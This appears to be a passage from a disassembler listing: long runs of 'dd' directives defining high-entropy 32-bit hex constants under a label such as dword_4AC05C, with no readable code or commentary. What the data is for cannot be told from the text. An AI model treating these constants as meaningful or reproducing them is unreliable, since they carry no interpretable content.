		dd 88528180h, 1150C272h, 5D80DB9Bh, 0C3D950F7h,	0BF2D80A3h
		dd 20DF3512h, 0A41A8901h, 203CED08h, 0D8E7E14Fh, 172DE9FAh
		dd 0A1625A94h, 973BE8B8h, 0EBD7E4BEh, 72569E16h, 0E9F040FCh
		dd 4495B8E4h, 70B63370h, 0BC33A5C2h, 8529C88Fh,	0C6FE8500h
		dd 90885066h, 9DCC7482h, 0F6E780F5h, 6508E9E4h,	0ED6873B4h
		dd 0CC6A5046h, 8D8E394Bh, 992D014Bh, 2E51A1ADh,	0B4E752EFh
		dd 0A65F55E5h, 3DA10340h, 4C297692h, 655C63CFh,	1337F74Ah
		dd 3DEE1C53h, 6EABFC3Eh, 4FE55E97h, 0A9D79624h,	5CF5037Fh
		dd 0D7F754B2h, 0E7C1DF20h, 1899002h, 0AD368C2Ch, 6B61CEE9h
		dd 7489094Bh, 10E0BA96h, 0B1515031h, 0A54BB398h, 8AEB5CC4h
		dd 9A81105Dh, 2D778F3Dh, 6CD158C4h, 0E5E9B8C4h,	0AAA7535Bh
		dd 0E0E90F44h, 1EB70AB0h, 0ADEFC01Ah, 9D3936D7h, 9BB098E5h
		dd 2EE9A0B2h, 80330CBCh, 71B77977h, 4267DAF7h, 48128644h
		dd 5B02558Eh, 0B3D729ECh, 0D073D19Bh, 8992962Ch, 8442421Ah
		dd 4213D9D7h, 0EE59CA0Fh, 66D275C9h, 3CD99Eh, 8ADF6543h
		dd 0B7615C68h, 0FD8BE39Ah, 0E9A12157h, 0B3299F54h, 801EABD6h
		dd 0ECC2611Ch, 77D4F662h, 0C069B2E9h, 929E58E1h, 949D5A9Ch
		dd 80E9C202h, 0FA985539h, 0E2C4B2EBh, 8FBF02BBh, 2FE939ECh
		dd 3355F20Dh, 0ED8F1213h, 775343A8h, 0F3BE58CBh, 0D96885F5h
		dd 8830BE29h, 156D5E28h, 94A9E969h, 8F80117h, 5000C32Bh
		dd 0A133D68h, 0D58000Bh, 63552C6Bh, 3F3C7F35h, 9AB4F5Fh
		dd 1A57D938h, 0DDE70B74h, 45E9A2C0h, 2CAC174Bh,	6AD5BBA0h
		dd 323093Eh, 0AC4247F3h, 0B90C0462h, 6CCF19h, 2D6A312Fh
		dd 0D5494DE9h, 44685C2Dh, 1D3F4E29h, 41A12D36h,	86A55285h
		dd 552A0BD7h, 67F56B92h, 1BE9897Ch, 681614F8h, 14CC65B8h
		dd 0A7073960h, 38DE98Dh, 0D9D9011Bh, 0BAEC1556h, 2D384E4Ch
		dd 1CC729ACh, 5E01E02Eh, 11E0CE81h, 0BF6664DCh,	5FE3B900h
		dd 0CE31776Ch, 15A9595Eh, 3AA9F619h, 4343856h, 6C957463h
		dd 81014BCh, 89B93DD3h,	0F712E205h, 1079ED89h, 7E45774Bh
		dd 0FED6F205h, 0FFA865EEh, 4AB2ABB0h, 688088B1h, 0DE39C025h
		dd 0D9D752E2h, 0AEF3C918h, 0CB087424h, 707427CCh, 0D6032D8Bh
		dd 0C4DE6284h, 256F2776h, 83CDC0A7h, 54D8052Dh,	668106DEh
		dd 8E77528Bh, 72BF21FCh, 0C79DA0B7h, 76B55172h,	73ED7AE1h
		dd 0C0760C0h, 59EF288Dh, 63CFFE26h, 9D19E984h, 0BDE7F4h
		dd 0BA76806Dh, 633666E5h, 9DA5589Fh, 0E2EC125Dh, 5574213h
		dd 4FC1BC8h, 0E05B593Eh, 6209B45Dh, 0D65D3ECFh,	0D9D552FFh
		dd 0B9E9845Dh, 94E7FEF6h, 0D3764B5Ch, 0A101083Bh, 0F8E8C016h
		dd 0FEB88A0Bh, 68E423C4h, 12CFBD80h, 0EC057107h, 0A5E04BD4h
		dd 65DC639Fh, 7CC150E7h, 0CAA33AD5h, 0D607FE4Ah, 69F25652h
		dd 7516D7A4h, 0FAD63097h, 0A23C4E8Bh, 43489FA8h, 10F203FFh
		dd 0C9ED36Eh, 0E8B1B605h, 0F8B90962h, 2050240h,	0ADB6A15Eh
		dd 7251C301h, 0D142FCA5h, 8025249Eh, 173BF13Ch,	8EB40126h
		dd 0A8591BCCh, 2AC74E36h, 4EC92808h, 228DA3FAh,	0B0799876h
		dd 0F502B78Ch, 0D9570C68h, 0BF2E88FDh, 0B00B1028h, 7802754Dh
		dd 4F0D07BDh, 89782615h, 0F32D5507h, 0AFE45DD5h, 3583BC81h
		dd 940B62Ah, 0D9FECCF6h, 88C66FE7h, 5B4E1CB3h, 6C13FFACh
		dd 0F58A000Bh, 56C77C24h, 0D50E7795h, 6B6C0A6Dh, 7299BF80h
		dd 6847099Dh, 1CF91777h, 5D3F3A82h, 72DEC6Bh, 8B7F45CFh
		dd 0A5EF6326h, 3B431EF9h, 0C56C5644h, 6D246D14h, 0EBD08BA8h
		dd 2533984h, 0C12904BBh, 2326F0B4h, 56384607h, 0BEED222h
		dd 5E57D24Ah, 0AF848C23h, 0EA25C058h, 0B9CB5E02h, 0E29E25BCh
		dd 69F24003h, 4FE9D730h, 44C59954h, 85532A59h, 30BA675Fh
		dd 1F6C122Ah, 0E1E96E08h, 84112F15h, 67CEF859h,	44005A9Ch
		dd 0DFE97AFDh, 86BF9420h, 0B2872890h, 25F9A92Fh, 2DD7B510h
		dd 22C9CA05h, 0AB052CECh, 0B6CDC145h, 0EFEE4992h, 0FB0BE352h
		dd 0F62955C6h, 0B35CB80Bh, 84EFEC54h, 0D70EE917h, 5B68E130h
		dd 0BEA9830Ch, 998E3837h, 0C007FA68h, 35394B9Eh, 0A71C51B7h
		dd 0E92D5B78h, 4A1ED00Ch, 2D8BEB5Dh, 0FED50809h, 5A4B4C5Dh
		dd 851245Ah, 12CD399h, 26222B02h, 4912F52Ah, 0B79BC877h
		dd 0F475821Ah, 0BAED402Eh, 954C7C88h, 0F4BD162Ch, 0BC82FA4h
		dd 29424852h, 0B580B3D4h, 0E92EA004h, 4AC4605Fh, 0E4C091B4h
		dd 82B566F8h, 0E2FC20B9h, 70A9C2AFh, 0FEE2049Eh, 0AC3BE9CAh
		dd 0E3C109E6h, 0A027D006h, 5F6AB555h, 51C3C24Dh, 8687851h
		dd 58AD5FACh, 957D9D53h, 7A732711h, 70495A12h, 20AB725Bh
		dd 5D00A5F5h, 0EFCD8145h, 17758E34h, 0B3794168h, 2D1C052Ah
		dd 56B87076h, 289E680Ah, 9512BC10h, 277B6064h, 2CB89D6Ah
		dd 0D0A5C300h, 41E9C459h, 0EFC1A41Dh, 443EC931h, 17A13A8Bh
		dd 0E0CAA70Bh, 12EFBE33h, 75B7B24h, 24091462h, 0F5A2EE31h
		dd 57FD1A8Fh, 48B2FD55h, 661F1797h, 0E9AC1DECh,	0BE09895Fh
		dd 0A75F51BBh, 0CEC3085Fh, 5B30E904h, 0BC4BD8EDh, 0D0CD8E97h
		dd 3D85BA38h, 0E4297E9Eh, 0D49556F1h, 0EBDC72AEh, 0F0905D69h
		dd 169F92ADh, 0B7D3FA68h, 0B709E4CAh, 0E1F9E3DDh, 199755FCh
		dd 3254AFC3h, 3EB95E2Bh, 0E924635Eh, 0CD910E2h,	734B6805h
		dd 6D4868F6h, 0A9C1B220h, 39FD2A98h, 20F8F13Eh,	1690045Dh
		dd 8EDDF51Ch, 4FB32D6h,	0F9AE3C00h, 262B3822h, 940A54E4h
		dd 2CBBC1CAh, 18B73433h, 80477A4h, 0D66EBCDDh, 0E92F7F01h
		dd 0F9FE96ECh, 383431A1h, 0E43F6874h, 532C9CBEh, 4FB9510Fh
		dd 8108205Ah, 0F0FC4C9h, 0D5E916C6h, 21856B6h, 8852F1BCh
		dd 15B1FDE0h, 0C0E07EE1h, 9633BCC8h, 5AE481A0h,	0C4947251h
		dd 3CEDC5B2h, 0BA6C8F41h, 3649C0A4h, 0AA17B151h, 0A6B45EE9h
		dd 8A1801F5h, 0BA05D359h, 3C63C512h, 5D0740F6h,	7BC46815h
		dd 0EA7819DCh, 4384188h, 916EC4Ah, 80020ECBh, 3E44E9ABh
		dd 197D67F5h, 0C06664Dh, 0D6468A01h, 5907E976h,	0E14E8663h
		dd 0EAFE9FAEh, 1B2F27ACh, 17FF1F0Dh, 3BDD2FC5h,	0A7AE9B6h
		dd 7F9E96Fh, 1D2DF829h,	5F3FE022h, 6F3E7B86h, 0BE315E76h
		dd 55B0CAAh, 68A3B42Bh,	2199CD76h, 0FC81AFA5h, 0F8280560h
		dd 0ABA92C5Bh, 444EE387h, 0A9C05A4Eh, 0B0DAF62Bh, 0E9601AC7h
		dd 0B67CBCD9h, 0D81066CFh, 0C2E34BEFh, 8F099B8Ch, 0FE68E3F8h
		dd 9D2B7414h, 0BE57A18Fh, 0FA893B5Eh, 0C76720B5h, 4FF3CA0Ah
		dd 2039B145h, 0E2C443DCh, 71241A2h, 0B72A4A2Ch,	0E0CA630Dh
		dd 207667B9h, 0CD0BA485h, 0C0091A51h, 7BB8F54Dh, 0C4125A7Ah
		dd 6C5381E5h, 8EB92E9Eh, 0AFEBE9A0h, 78C918B7h,	0EC53B57Bh
		dd 41EBFEA7h, 2BFEAB21h, 529F95A2h, 0FBA1535Ch,	2E68D528h
		dd 6F010C34h, 0B31B7504h, 91F94A09h, 4BCED110h,	80D20418h
		dd 6B201745h, 65CAEF29h, 0CE609E48h, 76821AC9h,	6269DC9Dh
		dd 46F872E9h, 13147797h, 17FA6813h, 0A0B7F330h,	50C704FEh
		dd 0BC34B3B0h, 12D5274Fh, 0ACE64016h, 0CD7AF3F6h, 0D36A20A8h
		dd 515F14C9h, 0E664628Ch, 13BF14C7h, 31AEFE73h,	133D9A3h
		dd 0F27F305Ah, 267E58E5h, 80E9A569h, 40112814h,	885B67Bh
		dd 833EE8EBh, 6FDC568h,	0BEA7DB3Fh, 2FC37763h, 3AD71D43h
		dd 9F51D84Fh, 0E9507776h
		dd 2FCA9E76h, 6841EC79h, 85C3571Fh, 0A4C1F2AAh,	7539316h
		dd 0D2F22200h, 0F848FA53h, 0FB795BC9h, 909EC67h, 0B1B500FDh
		dd 6045E9F1h, 0BEB9244Eh, 4F4C8934h, 621371BCh,	5101647Dh
		dd 71B76B38h, 0BDE80370h, 42197398h, 0A05961A9h, 311EA019h
		dd 2D521306h, 7917B1ABh, 0B2681046h, 0D277B865h, 0D265AC6Ch
		dd 0DAB45080h, 928CAB2h, 7042E9E2h, 9D151CFFh, 0BE040E7Ah
		dd 0BD168C8h, 0A9B30C34h, 52BD0564h, 56F8EBC6h,	97327AF6h
		dd 57FE00FFh, 317A69BFh, 13C0032Ah, 8127EC12h, 8495F63Ch
		dd 0F7294D86h, 0A6B932C1h, 42D5213Bh, 0F60FA795h, 5C970B4Ah
		dd 9237B546h, 55E9B9D8h, 0F1F70AF0h, 61FBAFFCh,	90305058h
		dd 0CAF490h, 8007E2C0h,	0D488EFC2h, 0EB75A04h, 0BACE728h
		dd 948366A2h, 0E9F93084h, 5B5464D8h, 5E8F60CBh,	68F87334h
		dd 94923DBFh, 0C2C3215Fh, 0CF3BA0B9h, 0B5D9B852h, 2DD5D4Ah
		dd 0D1D196F9h, 94680446h, 2558B335h, 95DD7025h,	83B63A7Dh
		dd 5AA8B58Dh, 103EAC62h, 871FFC5Ah, 0D28C8BEFh,	65775529h
		dd 75E9048Ah, 7DF3BA5Ch, 91682461h, 9D56CD18h, 906EE935h
		dd 579C5FA5h, 2545555Ch, 950BD857h, 94BFC3E5h, 1654D155h
		dd 0A03EA87h, 12971A90h, 90D9C11Eh, 57F71223h, 41A1F55Bh
		dd 619CC6Ah, 4FE09244h,	0C5AE9855h, 6B607F90h, 6E9FF2A9h
		dd 0B0335EFDh, 2041E7B5h, 862CF92Fh, 3F33463Ah,	1403D0F6h
		dd 2077297Dh, 57AEA5F1h, 0EBDE8268h, 0D57697A9h, 7471DD42h
		dd 8D054B8Ch, 0E441F5BBh, 387E6D70h, 0FD25F97Dh, 697C59E6h
		dd 762D3467h, 0B753C2B4h, 0AB623D7Eh, 0C23B00ACh, 0BF4D840Fh
		dd 0A0680CC7h, 5B8F3536h, 5A60B4D9h, 2D9C0495h,	0A24797AEh
		dd 0F5CBEADh, 26D295BBh, 0F5E4FADh, 5A512C89h, 7F3F2092h
		dd 19E4BF05h, 0ABF6616h, 0ADEBA6CBh, 879A9D8h, 0CFBC133Ch
		dd 16FD9AAEh, 1E34BBA6h, 5DC2F6C1h, 5ADEEB10h, 6260BA3Eh
		dd 20C15B1Ah, 73B436F5h, 0E8214109h, 16D2CE8Bh,	0AA0231E9h
		dd 40D8B2D2h, 2455A326h, 25D7F32h, 9E878048h, 0AF3C8C54h
		dd 0A8C15CEDh, 2719F825h, 1C37532h, 0B220668h, 9023E906h
		dd 244BB45Eh, 0EB17170Ch, 4504E201h, 1F2EA4E9h,	0E7461F2Fh
		dd 0E3288F55h, 0C23FF480h, 0E5827FD4h, 0D378ACC8h, 0E3F829Fh
		dd 0AF6C7DCFh, 0B1F2682Fh, 76B2615h, 72CA294Bh,	664A9A67h
		dd 99A4EE55h, 542E161Dh, 0ED4C7E25h, 0A46BE1h, 0B47AA668h
		dd 29BB603Bh, 214F72EAh, 0EF79C1AFh, 0CAC92F96h, 40B7F160h
		dd 0AB0BBD70h, 33111Dh,	0EEE2591Bh, 900173CCh, 279B4F39h
		dd 4D5DE1A6h, 0F8652187h, 9EDEBD3Dh, 5AF580C3h,	43321088h
		dd 86EC4B03h, 0A92FFC78h, 68EEFB8h, 82120BF7h, 8C52557Fh
		dd 0DF838F72h, 1F986463h, 0D3691399h, 0BCA88109h, 0CBEDF367h
		dd 0D7A0431Dh, 3F8BBEA9h, 68D92162h, 75E87342h,	2F5E754Ch
		dd 532F26E1h, 25DFBB8Ch, 0FD68500Eh, 588BCB4Eh,	99B386C1h
		dd 662AFEC9h, 2C4E60F2h, 7789B0ACh, 49E6B50Dh, 0C85D1DF2h
		dd 305F7FA0h, 0A2E3D317h, 0E185E984h, 805CD548h, 3DCE451Bh
		dd 0EC535514h, 32330752h, 1E6C642Eh, 56444103h,	1C495099h
		dd 71547E4Eh, 370AAA4Ch, 0C3E94201h, 6801BB7Ch,	62EA26Ah
		dd 0FDDBC9EBh, 0A0EA6D20h, 88DAFE0Ah, 0F489A424h, 0A5445E08h
		dd 0D14284EAh, 808E021h, 88D690A7h, 40CC447Fh, 75878BFh
		dd 0F27C0056h, 8D15F0A1h, 0B2008B3Ch, 4824D526h, 0E371C2h
		dd 0CD532FCAh, 6BEDCB7Ch, 8C691A00h, 0BE06B708h, 0A24F00A0h
		dd 1B61D514h, 0A12E37ECh, 813D22CBh, 0CAA80398h, 0F07EA048h
		dd 0C200BA6Bh, 4FAF1F31h, 3271EFh, 37EEDCA5h, 2B39E555h
		dd 90AEF600h, 15A0F8E8h, 0B0F51F9Ch, 5AA4430Dh,	0EFCB9DDCh
		dd 7BFCD7F8h, 2C089F00h, 0AE9E46A6h, 0F7EA4Eh, 5B9A1862h
		dd 0D1DCA1FFh, 0FC316CC0h, 484596B4h, 0C90F0394h, 2A0074CAh
		dd 517FDE16h, 1350740h,	0CC7DCEEEh, 201768F2h, 0B200035Dh
		dd 4B9C2801h, 38BE9Ah, 0A54059E7h, 41F243C9h, 90E16300h
		dd 2D7E02DFh, 1634017Ch, 4B8A18C5h, 8A80D2F7h, 9F434117h
		dd 91395700h, 85034DE2h, 5BEE46h, 69D937F1h, 146AA9EBh
		dd 0C636A3A8h, 9EE06E03h, 98C35A5Ch, 0C35BD59h,	0A94CC23Dh
		dd 1E008E24h, 66845C6h,	1CDBA441h, 0BFE88874h, 25A98600h
		dd 129472A7h, 227A6A1Ch, 32169C0h, 2362F9Eh, 0A9E14466h
		dd 80D7D14Ah, 4E6EB564h, 724C00FDh, 0BE697E8h, 81003283h
		dd 1ACB1CA8h, 67B83Eh, 4925C0D9h, 0E3C172C3h, 5F106102h
		dd 90ADFE82h, 2A0A98B5h, 118077CBh, 2C3C197h, 0E7DBB9BBh
		dd 0B099C341h, 9BA961h,	5C048A66h, 4B93146Ch, 55852D00h
		dd 96CB8990h, 0C43501B9h, 8E0961E9h, 5E1C8EA8h,	0AFB9335Fh
		dd 2D5B5C62h, 575D480h,	0D3B9570h, 0A4150065h, 0A99941C9h
		dd 0EF83E49h, 9F4525A4h, 0D1B90043h, 0FF3DC5A0h, 0DA33FC03h
		dd 126279Bh, 97F76720h,	2076BE3Fh, 1300A897h, 0EA0C4BC9h
		dd 637EFB0h, 0F3478614h, 0A3FE0EB4h, 90C54300h,	0AFB12FB3h
		dd 68F1002Ah, 87DFEB63h, 98057526h, 160D6C14h, 101FBB49h
		dd 81830Ch, 984DA7EFh, 61E7C34Eh, 7AA90100h, 8EB1BDE5h
		dd 368C18CBh, 0E8589CE1h, 0F696AA00h, 87C644A4h, 0EE16246Eh
		dd 9EA0800Ch, 35125F27h, 1909B100h, 759781DBh, 0BC7E04h
		dd 4DAE06F6h, 0E536549Ch, 0A7F18616h, 2B48AA00h, 0B05031DCh
		dd 0A87B07F9h, 0B59B3D9Eh, 798807D3h, 92E34044h, 800004E1h
		dd 538FD7D8h, 158F451h,	690E711Ah, 804598EEh, 0EA4ABA3Ah
		dd 76E54285h, 86BE0B94h, 76E09727h, 1400347Bh, 0AE3812C3h
		dd 0A0D1AC5Dh, 96E47D3h, 4E091E2h, 0E9FAC00h, 89000FEBh
		dd 27A98738h, 4825D6h, 7AC273C4h, 0D05E0B5Ch, 1E3D9112h
		dd 875D3A02h, 90602F89h, 77AC2A48h, 0B9112F00h,	9ED3D101h
		dd 275B00C5h, 16AE3566h, 1E0276D6h, 0AA07CEC9h,	0B48B1Dh
		dd 0AF3913C8h, 0F7DC1257h, 0AC3E09AEh, 6E885B43h, 8A039092h
		dd 0B70B4A26h, 0D73601A8h, 78EC2967h, 0F97E3410h, 0D6570084h
		dd 0FD835F8Eh, 0E700F59Dh, 0FA52D4B2h, 0AEC36CBh, 861E2F6Eh
		dd 0BE12E6h, 0BF099EC9h, 0E9370241h, 0C110488Ah, 0BD0E19h
		dd 0B23D9AE2h, 1E7FE99h, 51FDF600h, 7FD31254h, 9F1EC9DAh
		dd 1C724703h, 0CE3E1102h, 0D0814C76h, 920E00B9h, 0BBF9835Dh
		dd 38007EE2h, 2D852999h, 4E9548h, 0FE079E4Ch, 3189EA91h
		dd 236D0201h, 16966A5h,	6567A881h, 0E0B5CFA7h, 0A100F9ACh
		dd 547C535h, 0C12E70C6h, 0CA229224h, 43AA300Eh,	277AEC98h
		dd 8B10487Ah, 0C8006182h, 4636D6C6h, 8E758374h,	0B2005AFEh
		dd 0A6246E03h, 98B80B67h, 0BB2B00EDh, 0A2C0083Dh, 5800A051h
		dd 6FADC95Ch, 1D3F15C3h, 0A6377ADFh, 71A901F4h,	45D12h
		dd 0DAFA41h, 74FED889h,	0F977223h, 340DBE00h, 0CAA657A8h
		dd 65F30044h, 4FD5B154h, 6F004DFEh, 0EEB9CEDh, 88398Ah
		dd 24D12240h, 1FE35796h, 484D2380h, 0A401084Fh,	0F6626450h
		dd 0CC61DCE8h, 0CF048206h, 5E26EF2h, 8CB1F07Eh,	2C008069h
		dd 3C003EBCh, 0C5017F9Bh, 356717h, 3649E380h, 87156DCDh
		dd 0F1755200h, 8E12EFA0h, 9DE502E6h, 78D11A7Fh,	303FE761h
		dd 97EA51h, 6787CE5Ch, 8B650216h, 24FFB001h, 35C163C8h
		dd 5733E400h, 0D9F280D1h, 8960543Ch, 277800FAh,	0C4159976h
		dd 0AD03CB13h, 0E221AF5Ch
dword_4AC05C	dd 0AEE7096Ch, 5B98DAD8h, 0FBF2754Eh, 6F177700h, 5EA6277Fh
		dd 14ED0022h, 75F0E088h, 4180BA01h, 1E7430B3h, 70D0400Fh
		dd 67681000h, 5E5F0789h, 52FA0084h, 737F1A63h, 0B0D0ED3h
		dd 32BCEF4Ch, 4BBA0D8h,	705E564Fh, 0B00BBE17h, 24AE1632h
		dd 0F3BE319h, 53E0ABF9h, 119BF3BDh, 0DE7CD218h,	92E9E1Ah
		dd 331D6ECEh, 0FB818000h, 267BB08Ah, 0D1EFE901h, 2195D43Ch
		dd 0E061AF81h, 411C7C06h, 74F2FFD7h, 0B200225Eh, 0EB803234h
		dd 0EC849Ch, 75EE394h, 0A7C553C9h, 88934F00h, 0DFF6A8D8h
		dd 0BEE6007Bh, 403AEBDAh, 0DD001C59h, 9F81AC69h, 0D939A9h
		dd 22F9FB79h, 0A28DFCABh, 0A300BA90h, 0ADBF5B64h, 53C399h
		dd 45C8D3D5h, 92366846h, 80823A3Ch, 3776F43Eh, 8175DBh
		dd 9F7AFB83h, 439B717h,	48A02A00h, 343678BAh, 0DA4000B2h
		dd 97120228h, 59147C23h, 394638Bh, 0C5A3D21Ah, 4BABB043h
		dd 14900FAh, 0AC677EE3h, 9913F8D3h, 40FB0261h, 305097B4h
		dd 54002EDFh, 0EDC879CAh, 5D631465h, 20000C8Ah,	22BB499Ah
		dd 0A5352B07h, 0A2806154h, 248FE064h, 13F96DEh,	59ADEC7Ah
		dd 7937201Dh, 0F1A5A300h, 9294125Ch, 0E487286h,	0ABF39929h
		dd 0AC114F80h, 0F804504Ah, 0E6702B6Ah, 2C9CAA80h, 7974AEh
		dd 3916C718h, 9A42C8A4h, 0ED1CAA7Dh, 37C0E599h,	41E949B9h
		dd 23FE0033h, 0AB03F39Bh, 0C400E22Ah, 6745805Fh, 90387044h
		dd 20EFCE94h, 0B768B9C0h, 51F453DDh, 9DEE7600h,	368713ECh
		dd 23A90085h, 8EAB44D2h, 0DB152CB2h, 248D4C2Ah,	1D80CCEBh
		dd 7301AEFFh, 0EFDE6E34h, 0C12C2A04h, 0C8861221h, 180909D2h
		dd 1FC91C0h, 8926F533h,	0F666E080h, 0DDFB4378h,	992D8C00h
		dd 5A8FD14Fh, 6A1907Ch,	1D7F0A62h, 417EE6CEh, 0D91B2906h
		dd 0C715249Ah, 0E01D9E42h, 0C60713BBh, 8764EA3Ah, 9BF81EB4h
		dd 1F51A900h, 8B090669h, 380DEE4Ch, 0F8A01000h,	1391AFF7h
		dd 3C9230D1h, 96EE5E1Bh, 8ED2DE3Eh, 805C4D49h, 3A3140BAh
		dd 97D1BBCh, 80F42801h,	356A2872h, 8700F1F0h, 4FA3C5BAh
		dd 7D77FDFh, 0C60E8FE7h, 69B00A8h, 800CC2D4h, 4022CD41h
		dd 5F9D010Dh, 3A194DFBh, 752C605Dh, 80BD9239h, 0D550657h
		dd 74647EFh, 713CE46Ah,	98D519Fh, 0C419D861h, 920CC539h
		dd 0B2055A6h, 6E6C35h, 1DDF295h, 2EFBFD7Bh, 0D20C3200h
		dd 6FD028E3h, 5CE200BEh, 48CCA9DEh, 7475FCD7h, 84DC3Ch
		dd 0EC6AEECBh, 755DBB7h, 223B45FDh, 0F78EA067h,	2D74B81Ah
		dd 913C8B07h, 820060C0h, 608D0140h, 0DBB8D483h,	8B05FB57h
		dd 0D921D233h, 0A42E7090h, 0B40C39FCh, 1843F182h, 4E58EC19h
		dd 4B805B4Ah, 2155E4Dh,	0DBF46E72h, 5C68163Ch, 8F38601Bh
		dd 0D8A313Fh, 90C05CCCh, 6FB71C38h, 74F0951h, 8A67FC80h
		dd 6E1D5E06h, 0F840AE0Eh, 2462E6C3h, 91FFCF9h, 0E73F3A43h
		dd 7E5BD548h, 511F3490h, 54C0EB09h, 5640C0Bh, 17DD4ABCh
		dd 8E304333h, 0F3014ADFh, 50A8300Bh, 4CCC88C5h,	11460489h
		dd 8008B034h, 93E45475h, 55009FF0h, 0EBEF98D7h,	22FF33Fh
		dd 0CE1617BFh, 9FC132B0h, 0FB1A805Dh, 0AA068C68h, 81E2003Ah
		dd 0C26A88D0h, 700E72B4h, 67178BF9h, 14B3E587h,	324AFAh
		dd 5F2CE3AFh, 0DB02892Bh, 0CDCE7602h, 30897085h, 44DE5A4Ah
		dd 1E00B105h, 61D1ECD2h, 0FCBCEE7h, 0EB63816h, 735FBE87h
		dd 0F8D15E73h, 3F6039A7h, 0DA8280E7h, 0D078FCD9h, 0F8335C2h
		dd 6E730049h, 74630B93h, 846C2B04h, 52C7F10Ah, 0D182D330h
		dd 0C36B1689h, 0E65C64h, 9FBDF776h, 90003858h, 8129478Fh
		dd 7F1FA380h, 16980677h, 56916D6Eh, 0C866238h, 0CC7E5758h
		dd 3FE6FC49h, 0D9093D3Eh, 0F97D1531h, 0FECCC9F1h, 343B6813h
		dd 45118FB3h, 50226038h, 123BBD55h, 378D403h, 5A64FD45h
		dd 0B559C48h, 0FD57A0C6h, 0D097F6C4h, 1573B569h, 78174EEh
		dd 8B590848h, 0DF657DE9h, 70F97E49h, 12B8D254h,	0B531B01Dh
		dd 0E0B8EF00h, 3E062EA9h, 0F7C503h, 32AE19EDh, 5F886C8Ch
		dd 1CD28F1Fh, 0E72FA9C3h, 0A370D725h, 0A8795Eh,	353164F5h
		dd 0B09C6AEBh, 0E818100Ch, 0FC7112h, 3859ED0h, 7FA6BF5Eh
		dd 0D5729900h, 0D247C36Eh, 81C10F1Eh, 2BE2C6F3h, 0E4425A06h
		dd 19095655h, 0FBF54462h, 0C4418ABh, 5600282Dh,	5993B6A1h
		dd 15F83D5h, 86FD9ABh, 0D44ADB3Ch, 1367E973h, 2F60952Fh
		dd 8F2143h, 0AE1E69F4h,	9EAB6E4Dh, 0C9D30E02h, 0E15B96D8h
		dd 92BF669Dh, 0C585618h, 0BE7A61DBh, 7965C001h,	7DB730DAh
		dd 0E4A0E8F0h, 1C7E6097h, 495FE6FFh, 5502B91Fh,	0A98953CEh
		dd 837F800Fh, 3C8B03EAh, 8FA94ACEh, 89561EC7h, 0B65E59D8h
		dd 77850F62h, 0BFECC2D0h, 1725F100h, 0E83C045Eh, 51C107E0h
		dd 810A89A9h, 0F009E197h, 0ED315D88h, 0A60408B5h, 0C42DDE0h
		dd 0CE2976Ch, 0CEE86E21h, 113A4630h, 14BB7A84h,	1C44896Ch
		dd 0EDA39806h, 0BC2C1160h, 0C10C68C6h, 43C1090h, 254A8DF2h
		dd 0A1084E9Ch, 660D4B39h, 44C78800h, 60718210h,	27D4999h
		dd 0DC08219Ah, 5091D205h, 4691C087h, 0C1D81B45h, 3084014Dh
		dd 8E6D842h, 38089D60h,	35DF200h, 0C071BDD1h, 0CB20E920h
		dd 7F6235C1h, 9045D510h, 1B2AC8Ch, 0C75501BDh, 0D30881CCh
		dd 6048E6E0h, 3B58C03h,	18351F1h, 10E31538h, 0F063B476h
		dd 39F0120Ch, 0ED105062h, 8F8CA0E6h, 78C3F7h, 69CFE9B3h
		dd 72C6DF98h, 0C078F1FEh, 0C2FBAA03h, 0A0F07F04h, 78D1A767h
		dd 0F89400ABh, 0CDB073CFh, 88E86DD5h, 0A16CA000h, 9153C8EBh
		dd 5B5D00DCh, 6DA9F6A5h, 0CB00ED9Fh, 0C2DEA177h, 14F1AF76h
		dd 383C72CCh, 31AE48A1h, 2AA5E396h, 84D3118h, 0EBE165D1h
		dd 81B09Ch, 0F38B78C7h,	0AE00545Dh, 8A4DC0F7h, 776AD88h
		dd 59ACEBABh, 7CA28090h, 0A614FCA5h, 0F683C52h,	0F58B2D7h
		dd 28393ADCh, 46F804F8h, 1041609Bh, 0A17C18Dh, 8FC83354h
		dd 63B6E800h, 530DC954h, 1220B8B0h, 433D6CADh, 0F91E3B64h
		dd 1DC7191Eh, 8ED3E0Ah,	88000512h, 346089EAh, 1A0A728Ch
		dd 59901387h, 82492482h, 1FC60C08h, 300C8E88h, 4B306255h
		dd 0CB6C89E7h, 84E9A059h, 0F0C360A2h, 0C5D8400Ch, 0CCDDE805h
		dd 0F2592340h, 7891612Ah, 8C7D814h, 0DF8A2158h,	0C8EF7290h
		dd 4DE4779Dh, 0C1E1C13Ah, 28638EA9h, 8F0C0F22h,	2863F5D9h
		dd 5121070Bh, 0E5208BC5h, 0AE0C1DF9h, 40471210h, 0CB25C7E4h
		dd 8E3B680Ah, 118C8FE0h, 45BF6561h, 135D0C01h, 0FC2593C0h
		dd 4C71FBD8h, 8703B042h, 7E6DCFFh, 721B0BA0h, 4B0419C1h
		dd 1434690Ch, 58A150E8h, 29B6FABFh, 0D1643F8Dh,	9CC81061h
		dd 93E32A11h, 13BC818Ch, 42EB3C09h, 0C0F02CB8h,	9A5D0883h
		dd 0A6193FD7h, 0BDF8EAA9h, 0B431E051h, 848A5C20h, 0E9444890h
		dd 0FD9A185Ch, 0C345C1ACh, 228C2153h, 49E48D94h, 0C5658081h
		dd 647C320Dh, 9026C798h, 7EE7F922h, 18F0B2A4h, 519FF387h
		dd 1553406Eh, 0E0543488h, 6408E0C5h, 988849C6h,	0C5404C94h
		dd 0F9E06054h, 0C7AED24h, 80504864h, 9946D3A3h,	8D09140Ch
		dd 4B9D0B8Ch, 420415BEh, 8899C908h, 0F2E097ADh,	9F72C45h
		dd 0BA5CF442h, 1F402CC7h, 9602949h, 19A5A1C1h, 28141028h
		dd 99D19B80h, 40D1850Ch, 0FF658C01h, 0C33E6E8h,	4A85B3ECh
		dd 596A08A8h, 8042F16Eh, 1899F58Dh, 9502B0Ch, 23F7BE8Ch
		dd 8F82FC9Ch, 130ECA53h
		dd 0A088B124h, 120B8AF9h, 1408FC0Fh, 0D8CB9413h, 717421D6h
		dd 5061ABABh, 0C9A950EEh, 6DE442C4h, 0CB8A2421h, 25F88116h
		dd 4F14B499h, 7C30D5D8h, 0C7655893h, 2C6A4C52h,	0C4D76788h
		dd 4EC16FA3h, 805DB1E3h, 8FA45610h, 90E9E8D8h, 47463E78h
		dd 84411144h, 249FDC42h, 798B2CAh, 3CE9C5DAh, 3E70EDC6h
		dd 8D4468C9h, 9C026241h, 0C03C281Fh, 0F5C36FBDh, 8EE8228Fh
		dd 4C38383Ch, 0D8CAF623h, 5C823CA3h, 3CFC0A39h,	48693D20h
